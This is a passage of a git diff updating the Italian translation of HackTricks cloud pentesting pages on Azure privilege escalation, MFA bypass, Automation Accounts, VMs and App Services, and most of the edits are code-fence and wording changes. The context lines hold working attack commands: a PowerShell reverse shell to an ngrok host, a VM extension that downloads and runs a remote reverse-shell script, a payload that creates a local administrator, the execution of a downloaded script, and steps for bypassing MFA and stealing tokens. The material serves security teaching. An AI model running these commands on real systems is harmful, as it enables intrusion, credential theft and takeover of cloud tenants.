dell'autenticazione privilegiata** poiché consente di **reimpostare la password** degli Amministratori Globali. +Un ruolo interessante da aggiungere all'applicazione sarebbe il **Privileged authentication administrator role** poiché consente di **reimpostare la password** degli Amministratori Globali. Questa tecnica consente anche di **bypassare MFA**. -```powershell +```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - Per l'autenticazione basata su certificati -```powershell +```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federation - Token Signing Certificate @@ -31,17 +31,17 @@ Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint /resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Basta con il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` per **aggiornare il codice di un Runbook** senza pubblicarlo e eseguirlo utilizzando i seguenti comandi. +Con solo il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` è possibile **aggiornare il codice di un Runbook** senza pubblicarlo ed eseguirlo utilizzando i seguenti comandi. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Questo permesso consente all'utente di **configurare un controllo sorgente** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio): +Questa autorizzazione consente all'utente di **configurare un controllo sorgente** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio): ```bash az automation source-control create \ --resource-group \ @@ -236,16 +236,16 @@ Se un account di automazione utilizza un ambiente di runtime personalizzato, pot - Passo 2 — Comprimere il File di Configurazione Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, rendendolo pronto per il trasferimento all'Azure Storage Account. -```powershell +```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` - Passo 3 — Imposta il contesto di archiviazione e carica Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure. -```powershell +```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Passo 4 — Prepara la Kali Box +- Passo 4 — Prepara Kali Box Il server Kali scarica il payload RevPS.ps1 da un repository GitHub. ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index f837ebf19..a3520c36f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -85,7 +85,7 @@ Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono Le politiche spesso richiedono un dispositivo conforme o MFA, quindi un **attaccante potrebbe registrare un dispositivo conforme**, ottenere un **token PRT** e **bypassare in questo modo la MFA**. Inizia registrando un **dispositivo conforme in Intune**, poi **ottieni il PRT** con: -```powershell +```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce @@ -116,14 +116,14 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un set di credenziali fornito e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero rimanere a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato. +MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un insieme di credenziali fornite e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero rimanere a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo. +Questo strumento ha aiutato a identificare i bypass MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo. > [!TIP] > È necessario avere i permessi per elencare tutte le applicazioni per poter generare l'elenco delle app da forzare. @@ -135,26 +135,26 @@ Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati per 2FA, ecc.. +Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati 2FA, ecc.. 
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
**Testa ogni portale** se è possibile **accedere senza MFA**: -```powershell +```bash $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` Poiché il **portale** **Azure** **non è vincolato**, è possibile **raccogliere un token dall'endpoint del portale per accedere a qualsiasi servizio rilevato** dall'esecuzione precedente. In questo caso è stato identificato Sharepoint, e viene richiesto un token per accedervi: -```powershell +```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` Supponendo che il token abbia il permesso Sites.Read.All (da Sharepoint), anche se non puoi accedere a Sharepoint dal web a causa di MFA, è possibile utilizzare il token per accedere ai file con il token generato: -```powershell +```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index d6043513f..410707446 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -4,7 +4,7 @@ ## Informazioni di base -I **gruppi dinamici** sono gruppi che hanno un insieme di **regole** configurate e tutti gli **utenti o dispositivi** che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un **attributo** di un utente o dispositivo viene **cambiato**, le regole dinamiche vengono **ricontrollate**. E quando una **nuova regola** viene **creata**, tutti i dispositivi e gli utenti vengono **controllati**. +I **dynamic groups** sono gruppi che hanno un insieme di **regole** configurate e tutti gli **utenti o dispositivi** che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un **attributo** di un utente o dispositivo viene **cambiato**, le regole dinamiche vengono **ricontrollate**. E quando una **nuova regola** viene **creata**, tutti i dispositivi e gli utenti vengono **controllati**. I gruppi dinamici possono avere **ruoli Azure RBAC assegnati** a loro, ma **non è possibile** aggiungere **ruoli AzureAD** ai gruppi dinamici. @@ -23,7 +23,7 @@ Ottieni gruppi che consentono l'appartenenza dinamica: **`az ad group list --que Per l'email dell'utente ospite, accetta l'invito e controlla le impostazioni attuali di **quell'utente** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ Sfortunatamente, la pagina non consente di modificare i valori degli attributi, quindi dobbiamo utilizzare l'API: -```powershell +```bash # Login with the gust user az login --allow-no-subscriptions diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index e7ec1a08c..adf8f076d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -49,7 +49,7 @@ az vm extension set \ {{#tab name="Windows" }} -- Eseguire una reverse shell +- Esegui una reverse shell ```bash # Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -76,10 +76,10 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Reimposta la password utilizzando l'estensione VMAccess -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na Estensione VMAccess Questa estensione consente di modificare la password (o crearne una se non esiste) degli utenti all'interno delle VM Windows. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -Secondo la [**documentazione**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM... +Secondo le [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 465837e5c..e583995f8 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -13,7 +13,7 @@ Puoi trovare l'elenco dei **portali Microsoft in** [**https://msportals.io/**](h Ottieni **access_token** da **IDENTITY_HEADER** e **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. Quindi interroga l'API REST di Azure per ottenere il **subscription ID** e altro. -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 38801c939..2ff1659cc 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # List all ACRs in your subscription Get-AzContainerRegistry @@ -36,7 +36,7 @@ Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" {{#endtab }} {{#endtabs }} -Accedi e scarica dal registro +Accesso e recupero dal registro ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 5f875e096..2acec2d18 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -24,11 +24,11 @@ Le app hanno alcune configurazioni interessanti: - **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache Azure per Redis. - L'URL contenente le credenziali per il database e Redis sarà memorizzato nelle **appsettings**. - **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi. -- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (Sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione. +- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione. ## Basic Authentication -Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita sostanzialmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie. +Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita fondamentalmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie. Per accedere ai server SCM e FTP, è richiesta una **username e password**. Pertanto, Azure fornisce alcune **API per ottenere gli URL** per queste piattaforme e le credenziali. @@ -180,7 +180,7 @@ az webapp hybrid-connections list --name --resource-group {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # Get App Services and Function Apps Get-AzWebApp # Get only App Services @@ -241,7 +241,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs Accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. > [!TIP] -> Basta connettersi tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web. +> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web. **Un attaccante potrebbe scaricare questo file, modificarlo e caricarlo di nuovo per eseguire codice arbitrario nell'app web.** @@ -251,12 +251,12 @@ Questo tutorial si basa sul precedente ma utilizza un repository Github. 1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github. 2. Crea una nuova Web App Python in Azure. -3. In `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`. +3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`. Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. > [!TIP] -> Basta connettersi tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web. +> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web. ## Privilege Escalation diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index 9a7ad2cec..fe9033b0f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -6,7 +6,7 @@ [Dal documento:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Il Application Proxy di Azure Active Directory fornisce **accesso remoto sicuro alle applicazioni web on-premises**. Dopo un **accesso singolo ad Azure AD**, gli utenti possono accedere sia alle **applicazioni cloud** che a quelle **on-premises** tramite un **URL esterno** o un portale applicativo interno. +Il Application Proxy di Azure Active Directory fornisce **accesso remoto sicuro alle applicazioni web on-premises**. Dopo un **accesso unico ad Azure AD**, gli utenti possono accedere sia alle **applicazioni cloud** che a quelle **on-premises** tramite un **URL esterno** o un portale applicativo interno. Funziona in questo modo: @@ -15,12 +15,12 @@ Funziona in questo modo: 1. Dopo che l'utente ha accesso all'applicazione tramite un endpoint, l'utente viene indirizzato alla **pagina di accesso di Azure AD**. 2. Dopo un **accesso riuscito**, Azure AD invia un **token** al dispositivo client dell'utente. 3. Il client invia il token al **servizio Application Proxy**, che recupera il nome principale dell'utente (UPN) e il nome principale di sicurezza (SPN) dal token. **Application Proxy invia quindi la richiesta al connettore Application Proxy**. -4. Se hai configurato l'accesso singolo, il connettore esegue qualsiasi **autenticazione aggiuntiva** richiesta per conto dell'utente. +4. Se hai configurato l'accesso unico, il connettore esegue qualsiasi **autenticazione aggiuntiva** richiesta per conto dell'utente. 5. Il connettore invia la richiesta all'**applicazione on-premises**. 6. La **risposta** viene inviata tramite il connettore e il servizio Application Proxy **all'utente**. ## Enumerazione -```powershell +```bash # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index ef02a2304..7f56c7939 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -13,7 +13,7 @@ Se puoi accedervi, puoi avere **info sulle risorse** che non sono presenti ma po ## Cerca Info Sensibili Gli utenti con i permessi `Microsoft.Resources/deployments/read` e `Microsoft.Resources/subscriptions/resourceGroups/read` possono **leggere la cronologia delle distribuzioni**. -```powershell +```bash Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index dbe7b1083..eab85fc6c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,19 +4,19 @@ ## Informazioni di base -Gli Azure Automation Accounts sono servizi basati sul cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud. +Gli Azure Automation Accounts sono servizi basati sul cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti attraverso Azure e ambienti on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori di automazione**, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud. ### Impostazioni - **Credenziali**: La password è accessibile solo all'interno di un runbook all'interno dell'account di automazione, e viene utilizzata per **memorizzare in modo sicuro nomi utente e password**. -- **Variabili**: Utilizzate per memorizzare **dati di configurazione** che possono essere utilizzati nei runbooks. Questo potrebbe includere anche informazioni sensibili come le chiavi API. Se la variabile è **memorizzata crittografata**, è disponibile solo all'interno di un runbook nell'account di automazione. -- **Certificati**: Utilizzati per memorizzare **certificati** che possono essere utilizzati nei runbooks. +- **Variabili**: Utilizzate per memorizzare **dati di configurazione** che possono essere utilizzati nei runbook. Questo potrebbe includere anche informazioni sensibili come le chiavi API. Se la variabile è **memorizzata crittografata**, è disponibile solo all'interno di un runbook nell'account di automazione. +- **Certificati**: Utilizzati per memorizzare **certificati** che possono essere utilizzati nei runbook. - **Connessioni**: Utilizzate per memorizzare **informazioni di connessione** a servizi esterni. Questo potrebbe contenere **informazioni sensibili**. - **Accesso alla rete**: Può essere impostato su **pubblico** o **privato**. ### Runbooks & Lavori -Un Runbook in Azure Automation è uno **script che esegue automaticamente compiti** all'interno del tuo ambiente cloud. I runbooks possono essere scritti in PowerShell, Python o editor grafici. Aiutano ad automatizzare compiti amministrativi come la gestione delle VM, la patching o i controlli di conformità. +Un Runbook in Azure Automation è uno **script che esegue automaticamente compiti** all'interno del tuo ambiente cloud. I runbook possono essere scritti in PowerShell, Python o editor grafici. Aiutano ad automatizzare compiti amministrativi come la gestione delle VM, la patching o i controlli di conformità. Nel **codice** situato all'interno dei **Runbooks** potrebbero esserci **informazioni sensibili** (come credenziali). @@ -33,7 +33,7 @@ Un lavoro contiene l'**output** dell'**esecuzione del Runbook**. Se puoi **legge Ci sono 3 modi principali per eseguire un Runbook: - **Programmazioni**: Queste vengono utilizzate per **attivare** i Runbooks a un **orario specifico** o **intervallo**. -- **Webhook**: Questi sono **endpoint HTTP** che possono essere utilizzati per **attivare** i Runbooks da **servizi esterni**. Nota che l'URL del webhook **non è visibile** dopo la creazione. +- **Webhook**: Questi sono **endpoint HTTP** che possono essere utilizzati per **attivare** i Runbooks da **servizi esterni**. Nota che l'URL del webhook è **non visibile** dopo la creazione. - **Attivazione manuale**: Puoi **attivare manualmente** un Runbook dal Portale Azure e dalla CLI. ### Controllo del codice sorgente @@ -44,7 +44,7 @@ Quando la sincronizzazione è abilitata, nel **repository Github viene creato un Nota che questi webhook **non saranno visibili** quando si elencano i webhook nei runbooks associati al repository Github. Inoltre, nota che **non è possibile cambiare l'URL del repository** di un controllo del codice sorgente una volta creato. -Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita utente all'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita utente all'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. ### Ambienti di esecuzione @@ -57,11 +57,11 @@ Quando si crea un Runbook è possibile selezionare l'ambiente di esecuzione. Per - **Python 3.8** - **Python 2.7** -Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di questi come base. Nel caso di Python, è possibile caricare pacchetti `.whl` nell'ambiente che verrà utilizzato. Nel caso di PowerShell, è possibile caricare pacchetti `.zip` con i moduli da avere nell'esecuzione. +Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di questi come base. Nel caso di Python, è possibile caricare pacchetti `.whl` nell'ambiente che verranno utilizzati. Nel caso di PowerShell, è possibile caricare pacchetti `.zip` con i moduli da avere nell'esecuzione. ### Gruppi di lavoratori ibridi -In Azure Automation, l'ambiente di esecuzione predefinito per i runbooks è il **Azure Sandbox**, una piattaforma basata sul cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbooks di essere eseguiti direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure. +In Azure Automation, l'ambiente di esecuzione predefinito per i runbooks è il **Azure Sandbox**, una piattaforma basata sul cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbooks di eseguire direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure. Quando viene creato un gruppo di lavoratori ibridi, è necessario indicare le **credenziali** da utilizzare. Ci sono 2 opzioni: @@ -78,9 +78,9 @@ Inoltre, se il lavoratore ibrido è in esecuzione in Azure con altre identità g ### Configurazione dello stato (SC) >[!WARNING] -> Come indicato nella [documentazione](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration sarà ritirato il 30 settembre 2027 e sostituito da [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). +> Come indicato in [documentazione](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration sarà ritirato il 30 settembre 2027 e sostituito da [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). -Gli Automation Accounts supportano anche la **Configurazione dello Stato (SC)**, che è una funzionalità che aiuta a **configurare** e **mantenere** lo **stato** delle tue VM. È possibile **creare** e **applicare** configurazioni DSC a macchine **Windows** e **Linux**. +Gli Automation Accounts supportano anche la **Configurazione dello Stato (SC)**, che è una funzionalità che aiuta a **configurare** e **mantenere** lo **stato** delle tue VM. È possibile **creare** e **applicare** configurazioni DSC a **macchine Windows** e **Linux**. Dal punto di vista di un attaccante, questo era interessante perché consentiva di **eseguire codice PS arbitrario in tutte le VM configurate**, consentendo di elevare i privilegi alle identità gestite di queste VM, potenzialmente pivotando verso nuove reti... Inoltre, le configurazioni potrebbero contenere **informazioni sensibili**. @@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name --resourc az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` -```powershell +```bash # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index a3d041b92..47440b5cf 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples {{#endtab }} {{#tab name="Mg" }} -```powershell +```bash # Login Open browser Connect-MgGraph @@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg* {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -104,7 +104,7 @@ Get-Command *az* {{#endtab }} {{#tab name="Raw PS" }} -```powershell +```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions @@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -154,7 +154,7 @@ Quando effettui il **login** tramite **CLI** in Azure con qualsiasi programma, s Ad esempio, uno 